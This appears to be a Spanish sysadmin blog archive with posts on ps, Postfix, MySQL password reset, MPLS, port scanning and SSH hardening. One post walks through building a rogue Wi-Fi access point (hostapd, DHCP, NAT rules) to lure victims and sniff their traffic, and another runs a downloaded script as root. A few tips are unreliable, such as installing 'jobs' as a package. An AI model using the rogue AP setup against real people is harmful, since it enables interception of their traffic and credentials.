sábado, 1 de noviembre de 2014

Ps instantánea de los procesos en el sistema

Ps se utiliza para obtener una instantánea de los procesos en el sistema. Muchas veces es necesario obtener información valiosa, como por ejemplo determinar bajo qué usuario corre un proceso, y utilizamos el viejo y conocido “ps aux” sin saber bien que opciones estamos utilizando.
Generalmente en cualquier distribución de GNU/Linux se incluye la versión de ps que acepta diferentes tipos de opciones: las opciones UNIX que son precedidas por un guión (dash), las opciones BSD que no utilizan guión, y las opciones GNU largas que se preceden por dos guiones. Estas opciones se pueden mezclar, pero a veces ocasionan conflictos o existen opciones sinónimas que producen los mismos resultados. Por ejemplo “ps -aux” muestra todos los procesos pertenecientes al usuario llamado “x”, ya que no suele existir un usuario llamado “x” ps lo interpreta como el comando “ps aux” e imprime una advertencia :D
Por defecto ps sólo muestra los procesos con el mismo user id efectivo (EUID) que el del usuario que lo ejecuta. Cuando utilizamos ps con las opciones “aux” el resultado es:
a: eliminar la restricción BSD “only yourself” para agregar procesos de otros usuarios
u: utilizar el formato orientado al usuario
x: eliminar la restricción BSD “must have a tty” para agregar procesos que no tengan una tty asociada
De esta forma seleccionamos todos los procesos en el sistema y los mostramos en el formato orientado al usuario.
La salida de “ps aux” es una tabla donde cada fila es un proceso y las columnas contienen la siguiente información:
USER: usuario con el que se ejecuta el proceso
PID: ID del proceso
%CPU: porcentaje de tiempo que el proceso estuvo en ejecución desde que se inició
%MEM: porcentaje de memoria física utilizada
VSZ: memoria virtual del proceso medida en KiB
RSS: “resident set size”, es la cantidad de memoria física no swappeada que la tarea a utilizado (en KiB)
TT: terminal que controla el proceso (tty)
STAT: código de estado del proceso (información detallada más adelante)
STARTED: fecha de inicio del proceso
TIME: tiempo de CPU acumulado
COMMAND: comando con todos sus argumentos
Los códigos de estado del proceso pueden ser:
D: suspendido no interrumpible (generalmente esperando E/S)
R: en ejecución o listo para ejecutarse (en cola)
S: suspendido interrumpible (esperando que se complete un evento)
T: detenido, por una señal de control de trabajo o porque está siendo traceado
W: paginado (no válido a partir del kernel 2.6.xx)
X: muerto (nunca debe ser visto)
Z: proceso difunto (“zombie”), terminado pero no reclamado por el proceso padre
Para los formatos BSD (por ejemplo como cuando se utiliza “ps axo” para mostrar la lista de procesos en un formato definido por el usuario) y cuando se utiliza la palabra clave “stat”, se muestran los caracteres adicionales:
N: baja prioridad
L: tiene páginas bloqueadas en memoria
s: es un líder de sesión (se trata de un proceso que ha iniciado una nueva sesión)
l: es multihilado
+: está en el grupo de procesos en primer plano
Por ejemplo:
$ ps axo stat,euid,ruid,tty,tpgid,sess,pgrp,ppid,pid,pcpu,comm
Algunos ejemplos útiles que se incluyen en el manual de ps son:
Ver todos los procesos en el sistema utilizando la sintaxis estándar:
ps -e
ps -ef
ps -eF
ps -ely
Imprimir un árbol de procesos:
ps -ejH
ps axjf
Obtener información de hilos:
ps -eLf
ps axms
Obtener información de seguridad:
ps -eo euser,ruser,suser,fuser,f,comm,label
ps axZ
ps -eM
Ver todos los procesos ejecutando como root (ID efectivo y real) en formato de usuario:
ps -U root -u root u
Entre muchas opciones que tiene ps, es posible ordenar la salida de acuerdo a una columna, para esto se debe utilizar la opción gnu larga “–sort”, por ejemplo para ordenar por tiempo de CPU (si deseamos determinar qué proceso ha utilizado más CPU) seleccionamos el código “cputime”, correspondiente a la columna TIME:
ps aux –sort cputime
Es posible alterar el comportamiento de ps utilizando variables de entorno, la más significativa es “PS_PERSONALITY” la cual afecta la “personalidad” de ps. Se puede setear “PS_PERSONALITY” utilizando export y observar los resultados, por ejemplo:
export PS_PERSONALITY=bsd
ps
PID TTY STAT TIME COMMAND
675 tty4 Ss+ 0:00 /sbin/getty -8 38400 tty4
680 tty5 Ss+ 0:00 /sbin/getty -8 38400 tty5
685 tty2 Ss+ 0:00 /sbin/getty -8 38400 tty2
687 tty3 Ss+ 0:00 /sbin/getty -8 38400 tty3
692 tty6 Ss+ 0:00 /sbin/getty -8 38400 tty6
893 tty1 Ss+ 0:00 /sbin/getty -8 38400 tty1
17774 pts/1 S 0:00 su 17775 pts/1 S 0:00 bash 18064 pts/1 R+ 0:00 ps
export PS_PERSONALITY=linux
ps
PID TTY TIME CMD
17774 pts/1 00:00:00 su 17775 pts/1 00:00:00 bash 18065 pts/1 00:00:00 ps

Limpieza de sistema, ubuntu

Es un script que se usa para la limpeza y el mantenimiento de Ubuntu.
1- Abrir el terminal.
2- Descargar el fichero:
3- wget http://opendesktop.org/CONTENT/content-files/71529-ubucleaner.sh
4- Hacerlo ejecutable:
sudo chmod +x 71529-ubucleaner.sh
5- Ejecutarlo:
sudo sh 71529-ubucleaner.sh
Y todo limpito como una patena.
Básicamente hace:
apt-get clean -> Al actualizar Ubuntu, los paquetes que descargas de Internet quedan en /var/cache/apt/archives, pues los borra
Muchos programas que instalamos utilizan dependencias adicionales que descargan, y que muchas veces son inútiles.
Lo peor de todo es que cuando desinstalas a veces se quedan ocupando espacio.
Para saber cúales son y poder borrarlas tipea sudo apt-get autoremove
Cada vez que actualizamos nuestro Kernel, el antiguo queda ahí, y no se desinstala. Si queremos borrarlo,
podemos hacerlo con sudo apt-get remove –purge linux-image-versión a desinstalar-generic.
Si no sabemos cuál es la que queremos desinstalar, podemos listarlas con dpkg –get-selections | grep linux-image,
es muy recomendable mantener el anterior por si acaso…

En caso de problemas de espacio en disco

Para vaciar papelera como root.
rm -fR /root/.Trash
find ~/.local/share/Trash -type f -exec rm ‘{}’ \;
Buscar los ficheros de gran tamaño que hay en nuestro disco duro. En este caso listaremos los que superan los 20 mb Si deseamos cambiar el valor sólo tenemos que cambiar la cifra (20000).
find / -type f -size +20000k -exec ls -lh {} \; 2> /dev/null | awk ‘{ print $NF “: ” $5 }’ | sort -nrk 2,2
Podemos usar Ubucleaner. Un script que automatiza varios comandos que permiten una limpieza de las zonas que más suelen acumular ficheros temporales (kernels viejos, etc..). Después de descargarlo lo ejecutamos de la siguiente manera:
chmod -c 744 71529-ubucleaner.sh
./71529-ubucleaner.sh
También podemos buscar un listado completo del tamaño de los ficheros de nuestro disco duro mediante JDiskReport

Error al reiniciar apache: Could not reliably determine the server’s fully qualified domain name, using 127.0.0.1 for ServerName

Para solucionar este problema, hay que editar el archivo httpd.conf
nano /etc/apache2/httpd.conf
Por defecto el archivo httpd.conf estará en blanco. Ahora, sólo tiene que añadir la siguiente línea en el archivo.
ServerName localhost
Ahora guarda y reinicia el servidor:
 service apache2 restart

Como mostrar y vaciar la cola de postfix

Para mostrar que emails están en cola, osea, aun no se han enviado:
mailq
Para borrar un email de la cola:
postsuper -d queue_id
Para borrar todos esos emails de la cola:
postsuper -d ALL
Para eliminar un mensaje:
postsuper -d numero
Para eliminar todos los mensajes:
postsuper -d ALL
Para encolar de nuevo el mensaje:
postsuper -r numero
Encolar de nuevo todos los mensajes:
postsuper -r ALL
Mostrar la cola de correo por pantalla
postqueue -p
Hacer un flush de la cola de correo, intentar enviar todos los correos
postqueue -f
Para liberar los correos para el dominio especificado
postqueue -s
Para borrar los emails desde una dirección específica (sacado del man postsuper).
mailq | tail +2 | grep -v ‘^ *(‘ | awk ’BEGIN { RS = “” } { if ($8 == “email@address.com” && $9 == “”) print $1 } ‘ | tr -d ‘*!’ | postsuper -d -
Para Borrar todos los mail de todos los directorios, probar con:
mailq grep ^[0-9A-Z] cut -d’ ‘ -f1 xargs -n1 postsuper -d

martes, 15 de julio de 2014

Cómo instalar el Extension Pack de Virtualbox sin errores en Linux..

.

Desde VirtualBox 4 más o menos, a Oracle le dio por dividir la funcionalidad de VirtualBox en base a un paquete de extensión especial que permite que las máquinas virtuales detecten controladores USB, de tarjetas de sonido y muchas cosas más.

Se supone que para instalarlo en cualquier sistema operativo basta descagarloy abrirlo con doble click, pero algunas veces nos suelta errores o no se instala bien. Para evitar que ésto suceda, he aquí éste truco:

1. su -
2. VBoxManage extpack install ruta/al/extpack-descargado

Éso nos hará acceder como root a la terminal y luego nos instalará el Extpack sin problema alguno.

miércoles, 25 de junio de 2014

Cómo resetear la contraseña del usuario root de MySQL Server

Sí te sucede que olvidaste la contraseña del usuario root del servidor de base de datos MySQL y no puedes crear nuevos usuarios, ni nuevos catálogos ni  acceder a la consola de administración, en ésta publicación explico como resetear la contraseña del usuario root tanto para Linux como para Windows.

Para Windows realizar lo siguiente:

  1. MySQL Server está instalado como servicio. Detener el servicio
  2. Abrir una consola de comandos (cmd)
  3. Ir al directorio de instalación de MySQL Server. Por ejemplo:
    1.C:\Program Files\MySQL\MySQL Server 5.1\bin
  4. Ejecutar el siguiente comando: 
    1.mysqld --skip-grant-tables &
  5. Abrir otra consola de comandos (cmd)
  6. Ingresar a la consola de administración de MySQL con el comando:
    1.mysql -u root
  7. En la consola de administración de MySQL, ejecutar los siguientes comandos:
  8. 1.mysql>use mysql;
    2.mysql>update user set password=PASSWORD("nuevaClave") where user='root';
    3.mysql>flush privileges;
    4.mysql>quit;

Finalmente, cerrar la consola de comandos abierta en el paso 2 e iniciar nuevamente el servicio de MySQL Server.

Para Linux:
  1. Detener el servicio de MySQL usando el comando
    1./etc/init.d/mysql stop
  2. En la consola de comandos (shell) ejecutar el comando:
    1.sudo mysqld_safe --skip-grant-tables &
  3. Realizar los pasos 6 y 7 descritos para Windows.
  4. Iniciar nuevamente el servicio de MySQL usando el comando

    1./etc/init.d/mysql start

domingo, 15 de junio de 2014

Protocolo MPLS

MPLS (Multi-Protocol Label Switching) es una red privada IP que combina la flexibilidad de las comunicaciones punto a punto o y la fiabilidad, y seguridad de los servicios Prívate Line, Frame Relay o ATM.
Ofrece niveles de rendimiento diferenciados y priorización del tráfico, así como aplicaciones de voz y multimedia. Y todo ello en una única red. Cuenta con distintas soluciones, una completamente gestionada que incluye el suministro y la
de los equipos en sus instalaciones (CPE). O bien, que sea el usuario quien los gestione.



MPLS (Multiprotocol Label Switching) intenta conseguir las ventajas de ATM, pero sin sus inconvenientes. Asigna a los datagramas de cada flujo una etiqueta única que permite una conmutación rápida en los routers intermedios (solo se mira la etiqueta, no la dirección de destino).
MPLS se basa en el etiquetado de los paquetes en base a criterios de prioridad y/o calidad (QoS).
La idea de MPLS es realizar la conmutación de los paquetes o datagramas en función de las etiquetas añadidas en capa 2 y etiquetar dichos paquetes según la clasificación establecida por la QoS en la SLA.
Por tanto MPLS es una que permite ofrecer QoS, independientemente de la red sobre la que se implemente. El
etiquetado en capa 2 permite ofrecer multiprotocolo y ser portable sobre multitud de tecnologías de capa de enlace: ATM, Frame Relay, líneas dedicadas, LANs.


¿Y cuales son sus aplicaciones?
Sus principales aplicaciones son:
  1. Funciones de ingeniería de tráfico (a los flujos de cada usuario se les asocia una etiqueta diferente)
  2. Policy Routing
  3. Servicios de VPN
  4. Servicios que requieren QoS
¿Que ventajas nos ofrece?


  • Ahorros de costes: dependiendo de la combinación específica de aplicaciones y de la configuración de red de una empresa, los servicios basados en MPLS pueden reducir los costes entre un 10 y un 25% frente a otros servicios de datos comparables (como Frame Relay y ATM).Y, a medida que se vayan añadiendo a las infraestructuras de networking el tráfico de vídeo y voz, los ahorros de costes empiezan a dispararse alcanzando niveles de hasta un 40%.

  • Soporte de QoS: uno de los principales beneficios de los servicios basados en MPLS reside en su capacidad para aplicar calidades de servicio (QoS) mediante la priorización del tráfico en tiempo real, una prestación clave cuando se quiere introducir voz y vídeo en las redes de datos.
  • Rendimiento mejorado: debido a la naturaleza de “muchos a muchos” de los servicios MPLS, los diseñadores de red pueden reducir el número de saltos entre puntos, lo que se traduce directamente en una mejora de los tiempos de respuesta y del rendimiento de las aplicaciones.
  • Recuperación ante desastres: los servicios basados en MPLS mejoran la recuperación ante desastres de diversas maneras. En primer lugar, permiten conectar los centros de datos y otros emplazamientos clave mediante múltiples conexiones redundantes a la nube MPLS y, a través de ella, a otros sitios de la red. Además, los sitios remotos pueden ser reconectados fácil y rápidamente a las localizaciones de backup en caso de necesidad; a diferencia de lo que ocurre con las redes ATM y Frame Relay, en las cuales se requieren circuitos virtuales de backup permanentes o conmutados. Esta flexibilidad para la recuperación del negocio es precisamente una de las principales razones por la que muchas empresas se están decantando por esta tecnología.
Preparación para el futuro. La mayoría de las empresas han llegado a la conclusión de que MPLS representa “el camino del futuro”. La inversión en servicios WAN convencionales, como los citados ATM y Frame Relay, prácticamente se ha paralizado. Según Current Analysis, si hoy el 44% de las empresas todavía utilizan Frame Relay y un 25% ATM, estos porcentajes pronto bajarán en favor de las nuevas alternativas como IP VPN o Carrier Ethernet, de las que MPLS constituye hoy uno de sus principales soportes.

jueves, 5 de junio de 2014

Las 12 razones por las que un Administrador de Sistemas perezoso es un buen administrador

Hace muchísimo tiempo me enviaron este texto (lo encontré por acá) y es mi compendio de axiomas de trabajo en la administración de Sistemas, he decidido hacer una traducción libre de este artículo para que mis lectores disfruten un rato y comiencen a ser un poco más perezosos.
Si ves un administrador de sistemas, un técnico de soporte o un administrador de servidores, que siempre anda dando vueltas, como tratando de sofocar fuegos, que constantemente se ocupa de cuestiones relativas a detalles en la producción de sistemas y/o servidores; usted podría pensar que él está trabajando muy duro, ¡siempre tan dedicado!, esa es la concepción para la mayoría de las personas (de hecho, es una concepción de contratar esas personas “bomberos”), pero en realidad él no está haciendo bien su trabajo.
Si vemos a este administrador de sistemas (Unix/Linux, administrador de servidores, DBA o administrador de red) que parece estar todo el día “jugando”, que no parece estar haciendo mucho en la oficina, siempre relajado y casi nunca aparece ningún trabajo duro visible, puede estar seguro de que él está haciendo realmente bien su trabajo.
Estas son las 12 razones por las que un administrador de sistemas (sysadmin) perezoso, es el mejor administrador de sistemas.
Razón 1 ¿Quién es el jefe?: La razón principal por la que los Administradores de sistemas perezosos son los mejores es a causa de su actitud. Ellos ven las máquinas un poco diferente a la forma como las ven en otros departamentos de TI. Hay una diferencia notable entre los administradores de sistemas perezosos y otros admininistradores (ejemplo: los desarrolladores). Los desarrolladores piensan que están para servir a las máquinas mediante el desarrollo de código. No hay nada de malo en este enfoque, ya que los desarrolladores tienen mucha diversión allí; Sin embargo, los administradores de sistemas hacen todo lo contrario; ellos piensan que las máquinas están allí simplemente para servirles. Todo lo que tienes que hacer es alimentar la máquina y mantenerla feliz, dejando que la máquina haga todo el trabajo pesado, mientras pueda relajarse y simplemente dedicar su tiempo a ser perezoso. El primer paso para ser un administrador de sistemas perezoso es un ligero cambio en la actitud, y dejar que la máquina sepa que usted es quien manda.
Razón 2 Automatiza hasta el café: Ser un sysadmin perezoso no significa ser holgazán, debe esforzarse inicialmente para que todo fluya con soltura, debe escribir guiones de programación para trabajos repetitivos; en este aspecto ser perezoso es ser inteligente. Un administrador de sistemas inteligentes es un maestro en todos los lenguajes de scripting (bash, awk, sed, egrep, etc.) y cada vez que se vea obligado a hacer algún trabajo, y si hay una remota posibilidad de que ese mismo trabajo se repita en el futuro, entonces escribe un guión que repita este trabajo. De esta manera, en el futuro cuando se le pida hacer el mismo trabajo, no tiene que pensar, sino que simplemente tiene que ejecutar el script, y volver a ser perezoso.
Razón 3 evitar las pérdidas: Copia de seguridad de todo. Siendo sysadmins perezosos, siempre deben tener una copia de seguridad. Un administrador de sistemas perezoso sabe que debe realizar un poco de trabajo en la creación de procesos de copia de seguridad y escribir secuencias de comandos de copia de seguridad para todos los sistemas y aplicaciones críticas. Cuando el espacio en disco no es un problema, él programa la tarea de respaldo para cada aplicación, incluso para aquellas aplicaciones que no son críticos; de esta manera, cuando algo va mal, él no tiene ponerse a correr a recuperar cosas y sólo hay que restaurar desde la copia de seguridad, y volver a la lectura de comics que estaba haciendo antes.
Esta es también la regla #1 en las tres reglas del administrador de sistemas que JAMÁS se debe romper.
Razón 4 Crea un plan de recuperación ante desastres: A un Administrador de sistemas no le debería gustar correr cuando las cosas van mal (y ciertamente no debería habituarse a ello). Cuando las cosas están funcionando sin problemas, se debe tomar algo de tiempo para crear un DRP (Disaster-Recovery Plan); así, cuando las cosas vayan demasiado mal, pueden seguir el plan de recuperación rápida y que las cosas vuelvan a la normalidad, y volver a ser perezoso de nuevo!.
Razón 5 si no te puedes clonar, clona tus sistemas: La regla de los sistemas altamente redundantes. un sysadmin competente (y perezoso) no le gusta recibir llamadas en el medio de la noche a causa de algún problema de hardware que falló por una tontería; por ende, los sysadmins perezosos se aseguran que todos los componentes de su plataforma sean altamente redundantes. Esto incluye tanto hardware como software. Desde configurar tarjetas de red en modo bonding, RAID en discos, siempre al menos dos servidores o máquinas virtuales para cada cosa, siempre hay que tener al menos dos de todo. Por ende, cuando un componente falla, el sistema todavía sigue funcionando y el administrador del sistema perezoso puede dormir esa noche tranquilo y podrá trabajar en la reparación del componente roto mucho después de regresar temprano en la mañana.
Razón 6 Siempre debe haber espacio para crecer: Un sysadmin perezoso nunca permite que sus sistemas funcionen a plena capacidad. Siempre hay que disponer de espacio suficiente para el crecimiento inesperado; debe asegurarse que los sistemas tiene un montón de CPU, RAM y disco duro disponible; así, cuando su empresa decide volcar toneladas de información o genera inesperadamente muchos archivos, así no sufrirá insomnio pensando si la plataforma colapsará al quedarse sin recursos.
Razón 7 Sea proactivo: Ser un sysadmin perezoso no quiere decir que sólo se sientan y no hacen nada todo el tiempo. Siendo perezosos, se dedican a adelantarse a los hechos y ser proactivo. Los sysadmins perezosos odian ser reactivos. Se anticipan a los problemas y al crecimiento (razones 5 y 6). Cuando tienen algún tiempo libre, se dedican a investigar cómo evitar nuevos problemas, escribir nuevos scripts y modificar la plataforma para durante los problemas seguir siendo perezoso.
Razón 8 Ama tu teclado: combinaciones de teclado, un sysadmin perezoso conoce todos los atajos de teclado para todas sus aplicaciones favoritas. Si va a pasar mucho tiempo todos los días en una aplicación, lo primero que hace es dominar las comnbinaciones de teclas para esa aplicación. por eso los sysadmins perezosos aprenden a usar editores proactivos como emacs o vim, ya que a él le gusta gastar menos tiempo en la solicitud de la información a su máquina, para volver a ser perezoso.
Razón 9: Maestro de la línea de comandos: Cada sysadmin perezoso que conozco es un maestro de la línea de comandos. A veces la gente se sorprende de ver tanto tiempo al sysadmin en una “pantalla negra”; Esto no solo se aplica a sistemas Linux/BSD sino también a DBA’s, administradores de red, etc. Aunque exista una aplicación con interfaz gráfica para una tarea, usted verá al sysadmin lanzando una línea de comandos, En una interfaz de instalación de programas, por ejemplo, tendrás que cargar la aplicación, esperar que cargue, buscar el programa, darle a “seleccionar” y luego a “instalar”, en una cónsola escribes “migestor install miprograma” y listo, sabes exactamente que hacer en cada momento. Hay dos razones básicas por qué los sysadmins perezosos les encanta una línea de comandos. Por un lado, se pueden hacer las cosas más rápidamente en la línea de comandos (si se sabe hacerlo, claro está). Por otra parte, le hace sentir que él es el jefe y no la máquina. Cuando se utiliza la línea de comandos, usted está en control del sistema, usted sabe exactamente lo que quiere hacer y sabe lo que va a obtener. Cuando se utiliza una interfaz gráfica de usuario, usted está a merced del flujo de trabajo gráfico y no tiene el control total.
Razón 10 Aprende de los errores: a un sysadmin perezoso no le gusta cometer el mismo error dos veces. Él odia trabajar en problemas inesperados; pero, cuando surge algún problema inesperado, trabaja en su corrección y piensa acerca de por qué ocurrió, y de inmediato pone las cosas necesarias en su lugar para que el mismo problema no vuelva a ocurrir. Trabajar sobre el mismo problema dos veces es un pecado para un sysadmin perezoso. A un sysadmin perezoso le gusta trabajar en el problema una sola vez, hacer las cosas para evitar el mismo error que ocurra en el futuro, y volver a ser perezoso.
Razón 11 Nunca quedarse atrás: Aprende nuevas tecnologías. No hay nada malo en aprender una nueva tecnología para conseguir un trabajo mejor o simplemente para mantenerse al día con el crecimiento de la tecnología. Pero, nuestro sysadmin perezoso no aprende las nuevas tecnologías por este motivo; en cambio, se entera de las nuevas tecnologías, porque a él le gusta estar en control de los sistemas todo el tiempo. Él sabe que él es el jefe (Razón 1). Así que, cuando una nueva tecnología aparece, este se toma el tiempo para estudiarla. Ahora tiene nuevas herramientas que le permiten mantener el sistema activo, mientras que él sigue siendo un perezoso. Se documenta y aprende una nueva tecnología solo para mantener su egoísta pereza.
Razón 12 Nunca confiar en la mente, Documente todo: No todos los sysadmins perezosos lo hacen; sólo los mejores administradores de sistemas perezosos hace esto. Nunca a un sysadmin perezoso le gusta que le molesten cuando está en la playa disfrutando de sus vacaciones. Entonces, ¿qué hace? documenta todo, deja bitácoras y resoluciones para todo, así que cuando él no está cerca, otro técnico de soporte puede hacer el trabajo de rutina y hacer avanzar las cosas simplemente leyendo la documentación sin molestar las vacaciones del sysadmin. Hay también otra razón más íntima para que el administrador del sistema perezoso documente todo, porque pueden olvidarse las cosas. Puesto que él es perezoso, quizás tiende a olvidar lo que hizo hace un mes. Dado que nunca le gusta pensar el mismo tema dos veces (Corolario de la Razón 10), se documenta todo y cuando tiene que hacer lo mismo en el futuro, pues busca en su documentación para comprender como se hace.
Ahora, usted considerará que ser un sysadmin perezoso no es cosa fácil, es muchísimo trabajo duro, si usted no es un administrador de sistemas, puede que ahora aprecie al administrador vago que ve sentado en su computadora viendo Facebook mientras todo funciona perfectamente, recuerde que no funciona así solo. Si usted es un administrador de sistemas y siempre está dando vueltas apagando fuegos como bombero, usted ya sabe lo que tiene que hacer para ser perezoso.

jueves, 20 de marzo de 2014

instalar AP falso

Improvisar un punto de acceso inalámbrico por el que lanzar nuestra conexión a otros equipos wi-fi, hasta para ser algo malvados... y utilizar nuestro recién creado punto de acceso con el objetivo de que su/sus víctima/s se conecten a él, para monitorear su trafico, o conseguir la clave de su verdadero ap (Cafe Latte Attack).
Para esto podemos configurar de tres maneras el AP, la más común es como un AP abierto, configurando el AP de modo que responda a cualquier nombre de ESSID. O configurando el AP como el Ap que normalmente utiliza la víctima.

Luego entraremos en la manera de hacer que el cliente se conecte a el, por el momento vamos a crearlo.

Lo que vamos a necesitar es bien poco , nuestra tarjeta wi-fi (con los drivers de inyección), hostapd y un servidor DHCP.

El proceso es muy similar a montar nuestro HOTSPOT con airbase, casi no difiere en  nada. Podríamos dividir ambos procesos  en tres partes: levantar y configurar nuestra tarjeta wifi en modo monitor, configurar el dhcp que dará ip a los "clientes" y compartir Internet con los "clientes".

Instalando lo necesario

Comenzaremos por instalar hostapd y el servidor dhcp. Podemos instalar hostapd desde los repositorios o bien bajarlo y compilarlo desde su pagina web.

apt-get install hostapd
apt-get install isc-dhcp-server


Una vez bajado hostapd deberemos configurarlo. Para ello crearemos un fichero "hostapd.conf" con el siguiente contenido (luego veremos otro tipo de configuraciones):

#configuración Hostapd
interface=wlan0
driver=nl80211
ssid=Rogue
channel=1


En esta configuración mínima estamos diciéndole que nuestra interfaz es wlan0, su driver, el nombre del punto de acceso "Rogue" y que emita por el canal uno.

Por ahora sencillo ¿no?

Configurando el DHCP server

Es una parte muy importante antes de levantar el servicio DHCP tener claro qué tarjeta va a ser la encargada de repartir las IP en nuestra máquina, y la subnet en que va a estar. En nuestro caso le daremos la ip 10.0.0.1 con la máscara de red 255.255.255.0 y así lo declararemos en el fichero de configuración de nuestro dhcp.

Para decirle al dhcp que tarjeta va a ser la encargada de repartir las ip deberemos editar el fichero /etc/default/isc-dhcp-server (este paso sera diferente según que distribución utilices y que versión de servidor dhcp) por ejemplo:

Fedora / RedHat / CentOS: 
# File: /etc/sysconfig/dhcpd
DHCPDARGS=wlan0

Debian squezze / Ubuntu: 
# File: /etc/default/dhcp3-server
INTERFACES="eth0"

Debian jessie
#file: /etc/default/isc-dhcp-server

El fichero de configuracion de dhcp /etc/dhcpd/dhcpd.conf quedaría tal que así:

ddns-update-style none;
ignore client-updates;
authoritative;
option local-wpad code 252 = text;

subnet
10.0.0.0 netmask 255.255.255.0 {
# --- default gateway
option routers 10.0.0.1;
# --- Netmask
option subnet-mask 255.255.255.0;
# --- Broadcast Address
option broadcast-address
10.0.0.255;
# --- Domain name servers, tells the clients which DNS servers to use.
option domain-name-servers 10.0.0.1, 8.8.8.8, 8.8.4.4;
option time-offset 0;
range 10.0.0.3 10.0.0.13;
default-lease-time 1209600;
max-lease-time 1814400;
}


Bueno ya tenemos configurada la mayor parte ahora vamos con la interface. En primer lugar pararemos "networ manager" para que no nos de la lata:

/etc/init.d/network-manager stop

Luego bajaremos la wlan0 para cambiarle la ip:

ifconfig wlan0 down
ifconfig wlan0 10.0.0.1 netmask 255.255.255.0
ifconfig wlan0 up

después levantaremos el servicio dhcp:

/etc/init.d/isc-dhcp-server restart

y levantaremos nuestro falso AP:

hostapd hostapd.conf

Hasta aquí sencillo tan solo nos falta compartir nuestra conexión para que los clientes tengan alcance la inet...

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -A FORWARD -i wlan0 -j ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Y con esto y bizcocho!! 

Lo que podemos hacer también es un pequeño script para que a la hora de levantar nuestro AP sea todo mas rápido:





Llevando el cliente hacia nuestro Rogue AP

Una vez tenemos nuestro Rogue AP podemos utilizar varias técnicas para engañar al cliente dependiendo de cual es nuestro objetivo, para que al fin y al cabo todo acabe como muestra la imagen de la izquierda.

Una vez conectado el cliente a nuestro pícaro punto de acceso somos dueños y señores de sus paquetes y podemos hacer de el lo que nos plazca...

Para ver su tráfico por ejemplo solo tendríamos que arrancar nuestro sniffer preferido:

tcpdump por ejemplo:
tcpdump -i wlan0

lunes, 24 de febrero de 2014

Cómo saber lo que se ejecuta en el background en cada terminal


Para conocer los procesos debemos instalar el paquete jobs y ejecutar este comando. O sea:
1. Instalamos el paquete jobs
En distros como Debian, Ubuntu u derivados sería ya está instalado por defecto.
En ArchLinux o derivados sería:
sudo pacman -S jobs
2. Luego, ejecutamos jobs en la terminal:
jobs
Nos aparecerá algo como esto:
comando-jobs

O sea, nos aparece lo que está en ejecución en esa terminal.
En fin, espero que le sea de interés a algunos.
Saludos

Cómo enviar comandos/procesos al background o segundo plano


Muchas veces cuando trabajamos en una terminal deseamos ejecutar un comando pero, luego poder cerrar la terminal y que lo que ejecutamos NO se cierre, por ejemplo, ejecutar en la terminal un script y luego cerrar la terminal pero que el script siga ejecutándose … ¿cómo lograr esto?
Para lograr esto simplemente debemos poner un & al final de la línea, por ejemplo, tenemos un script llamado wifi-log.sh y para ejecutarlo y que se quede en el background sería:
./wifi-log.sh &
Vean acá un screenshot:
comando-en-background
Aquí vemos claramente que luego de que ejecutamos la línea de arriba no aparece nada más, excepto [1] 29675 ¿Qué significa esto?
29675 es el PID (número de proceso) del script que ejecutamos, o sea, si deseamos matar el script y que deje de ejecutarse simplemente ponemos:
kill 29675
Y listo, se dejó de ejecutar.
O sea y a modo de resumen, para mandar al background (o segundo plano) un proceso (comando, varios comandos o script) debemos poner al final de la línea & y luego presionar Enter

Comandos para comprobar si un puerto está abierto en nuestra PC/Servidor

En caso de que no deseen hacer todo un scan, sino que simplemente deseen saber si en X ordenador/servidor está abierto un determinado puerto, sería así:
nmap {IP_O_DOMINIO} -p {PUERTO} | grep -i tcp
Ejemplo:
nmap localhost -p 22 | grep -i tcp
O bien:
nmap 127.0.0.1 -p 22 | grep -i tcp
Lo que hace esto es simple, pregunta a la IP o Host si el puerto dado está abierto o no, luego el grep filtra y solo muestra la línea que desean leer, la que les indica si está abierto (open) o cerrado (closed) ese puerto:
nmap
Pues… sí, nmap (Herramienta de exploración de redes y de sondeo de puertos) nos sirve pero, hay aún otras variantes donde hay que teclear menos :)

nc

nc o netcat, es una opción mucho más simple para saber si un puerto está o no abierto:
nc -zv {IP_O_DOMINIO} {PUERTO}
O sea:
nc -zv 192.168.122.88 80
Aquí tienen un screenshot haciendo una prueba a un puerto que sí está abierto (80) y otra a otro puerto que no lo está (53):
nc
El -zv lo que hace es simple, la v nos permite ver si está abierto o no el puerto, mientras que la z cierra la conexión tan pronto se comprueba el puerto, de no poner la z entonces tendríamos que hacer un Ctrl + C para cerrar el nc.

telnet

Esta es la variante que hace un tiempo usaba (por desconocimiento de las antes mencionadas), a su vez telnet nos sirve para mucho más que solo saber si un puerto está abierto o no.
telnet {IP_O_HOST} {PUERTO}
Aquí un ejemplo:
telnet 192.168.122.88 80
El problema de telnet es el cierre de la conexión. O sea, en determinadas ocasiones no podremos cerrar la solicitud de telnet y nos veremos obligados a cerrar esa terminal, o de lo contrario en otra terminal hacer un killall telnet o algo similar. Es por eso que evito usar telnet a no ser que me sea muy necesario.

Ver puertos abiertos con NMap

Buen día.  Hoy les traigo unos pequeños tips,  vamos a ver los puertos abiertos que tengamos.  Para ello haremos uso de NMap por lo que procedemos a instalarlo.
En Debian/Ubuntu:
# apt-get install nmap
luego para ver los puertos abiertos en tu pc.  (En local)
#nmap localhost

Estos son los puertos que están abiertos en local, o sea que no necesariamente salen a internet.. En mi caso están abiertos el 22 que es de ssh y el 25 de smtp.
Para ver los puertos abiertos en mi pc pero en internet hago el mismo nmap pero con mi dirección ip

En mi caso sale que el host esta prendido pero no ve ningún puerto abierto (solo escanea 1000). Esto se debe a que aunque el puerto está en mi pc abierto, el Router lo está filtrando.
Pero si abro el puerto respectivo en el router…

El hecho de que puedan ver que puertos están abiertos en mi pc supone algún riesgo en mi máquina. Asi que voy asegurar un poco mi servidor ssh. Para ello voy a cambiar el puerto por defecto (22) por otro cualquiera…
Voy como root a el archivo /etc/ssh_config:
# nano /etc/ssh/ssh_config
vamos donde dice  # port 22 .. le borramos el # y cambiamos el puerto por el que queramos..
buscamos con CTRL-W.  Guardamos con CTRL-O  y ceramos con CTRL-C o CTRL-X

En mi caso voy a usar el 2222
Hacemos lo mismo buscando la palabra “port” en el archivo /etc/ssh/sshd_config  cambiándolo por el mismo puerto que vamos a usar. Ahora editamos /etc/services
Buscamos ssh y cambiamos los dos puertos por el que cambiamos antes.

Ahora reseteamos el servicio..

Y hacemos nmap de nuevo.

Como ven.  No sale nada referente e nuestro puerto y/o a el servicio ssh.
Pero el ssh funciona?

CLARO QUE SI.
